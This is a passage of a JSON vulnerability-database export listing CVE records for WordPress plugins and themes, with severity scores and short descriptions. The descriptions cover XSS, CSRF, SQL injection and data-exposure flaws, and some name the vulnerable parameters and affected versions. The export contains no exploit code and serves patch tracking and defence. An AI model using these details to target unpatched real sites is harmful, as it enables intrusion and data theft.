"userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-23804"], "modified": "2023-07-12T23:55:00", "id": "PRION:CVE-2023-23804", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-23804", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T13:51:09", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability\u00a0in Nico Graff WP Simple Events plugin <=\u00a01.0 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T22:15:00", "type": "prion", "title": "CVE-2023-24376", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24376"], "modified": "2023-05-11T19:08:00", "id": "PRION:CVE-2023-24376", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-24376", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T23:48:57", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Marty Thornley Import External Images plugin <=\u00a01.4 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "prion", "title": "CVE-2022-46866", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-46866"], "modified": "2023-05-31T19:34:00", "id": "PRION:CVE-2022-46866", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-46866", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-10-02T06:07:44", "description": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Estatik Estatik Mortgage Calculator plugin <=\u00a02.0.7 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-09-27T15:18:00", "type": "prion", "title": "CVE-2023-28490", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28490"], "modified": "2023-09-29T18:37:00", "id": "PRION:CVE-2023-28490", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-28490", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:44:59", "description": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in chilidevs Return and Warranty Management System for WooCommerce plugin <=\u00a01.2.3 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T23:15:00", "type": "prion", "title": "CVE-2023-22710", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-22710"], "modified": "2023-05-11T19:06:00", "id": "PRION:CVE-2023-22710", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-22710", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:51:16", "description": "Auth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in Ecwid Ecommerce Ecwid Ecommerce Shopping Cart plugin <=\u00a06.11.4 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T15:15:00", "type": "prion", "title": "CVE-2023-24408", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24408"], "modified": "2023-05-11T19:01:00", "id": "PRION:CVE-2023-24408", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-24408", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:51:15", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Scott Paterson Contact Form 7 \u2013 PayPal & Stripe Add-on plugin <=\u00a01.9.3 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-10T16:15:00", "type": "prion", "title": "CVE-2023-24405", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24405"], "modified": "2023-07-13T00:20:00", "id": "PRION:CVE-2023-24405", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-24405", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T23:47:27", "description": "Cross-Site Request Forgery (CSRF) vulnerability in weightbasedshipping.Com WooCommerce Weight Based Shipping plugin <=\u00a05.4.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-24T16:15:00", "type": "prion", "title": "CVE-2022-46794", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-46794"], "modified": "2023-05-31T00:49:00", "id": "PRION:CVE-2022-46794", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-46794", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T14:18:23", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in CoreFortress Easy Event calendar plugin <=\u00a01.0 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T13:15:00", "type": "prion", "title": "CVE-2023-28169", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28169"], "modified": "2023-05-10T02:26:00", "id": "PRION:CVE-2023-28169", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-28169", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T14:19:44", "description": "Auth (subscriber+) Reflected Cross-Site Scripting (XSS) vulnerability in Macho Themes NewsMag theme <=\u00a02.4.4 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T15:15:00", "type": "prion", "title": "CVE-2023-28493", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28493"], "modified": "2023-05-11T18:59:00", "id": "PRION:CVE-2023-28493", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-28493", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-27T11:02:16", "description": "The Modern Events Calendar Lite WordPress plugin through 5.16.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-27T16:15:00", "type": "prion", "title": "CVE-2023-1400", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1400"], "modified": "2023-03-31T13:49:00", "id": "PRION:CVE-2023-1400", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-1400", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-27T11:02:32", "description": "The WP Simple Shopping Cart plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.6.3 due to the plugin saving shopping cart data exports in a publicly accessible location (/wp-content/plugins/wordpress-simple-paypal-shopping-cart/includes/admin/). This makes it possible for unauthenticated attackers to view information that should be limited to administrators only and can include data like first name, last name, email, address, IP Address, and more.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2023-03-16T13:15:00", "type": "prion", "title": "CVE-2023-1431", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1431"], "modified": "2023-03-22T20:43:00", "id": "PRION:CVE-2023-1431", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-1431", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-08-15T14:15:58", "description": "Auth (subscriber+) Reflected Cross-Site Scripting (XSS) vulnerability in Macho Themes Regina Lite theme <=\u00a02.0.7 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-04-25T12:15:00", "type": "prion", "title": "CVE-2023-27619", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-27619"], "modified": "2023-04-28T02:59:00", "id": "PRION:CVE-2023-27619", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-27619", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-27T11:02:52", "description": "The eCommerce Product Catalog plugin for WordPress is vulnerable to Stored Cross-Site Scripting via some of its settings parameters in versions up to, and including, 3.3.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T14:15:00", "type": "prion", "title": "CVE-2023-1470", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1470"], "modified": "2023-03-23T14:58:00", "id": "PRION:CVE-2023-1470", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-1470", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-10-02T00:08:17", "description": "The User Role by BestWebSoft WordPress plugin before 1.6.7 does not protect against CSRF in requests to update role capabilities, leading to arbitrary privilege escalation of any role.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-04-03T15:15:00", "type": "prion", "title": "CVE-2023-0820", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-0820"], "modified": "2023-04-08T22:22:00", "id": "PRION:CVE-2023-0820", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-0820", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-27T11:02:55", "description": "The WP Express Checkout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018pec_coupon[code]\u2019 parameter in versions up to, and including, 2.2.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with administrator-level access to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Note: This can potentially be exploited by lower-privileged users if the `Admin Dashboard Access Permission` setting it set for those users to access the dashboard.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T13:15:00", "type": "prion", "title": "CVE-2023-1469", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1469"], "modified": "2023-03-23T14:56:00", "id": "PRION:CVE-2023-1469", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-1469", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-10-02T03:44:23", "description": "The Solidres plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'currency_name' parameter in versions up to, and including, 0.9.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with administrator privileges to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T13:15:00", "type": "prion", "title": "CVE-2023-1374", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1374"], "modified": "2023-03-17T03:52:00", "id": "PRION:CVE-2023-1374", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-1374", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-27T11:02:52", "description": "The WP Popup Banners plugin for WordPress is vulnerable to SQL Injection via the 'banner_id' parameter in versions up to, and including, 1.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with minimal permissions, such as a subscrber, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2023-03-17T14:15:00", "type": "prion", "title": "CVE-2023-1471", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1471"], "modified": "2023-03-23T14:59:00", "id": "PRION:CVE-2023-1471", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-1471", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:P/I:N/A:N"}}, {"lastseen": "2023-09-09T02:28:26", "description": "The WH Testimonials plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several parameters such as wh_homepage, wh_text_short, wh_text_full and in versions up to, and including, 3.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T13:15:00", "type": "prion", "title": "CVE-2023-1372", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1372"], "modified": "2023-03-17T03:52:00", "id": "PRION:CVE-2023-1372", "href": 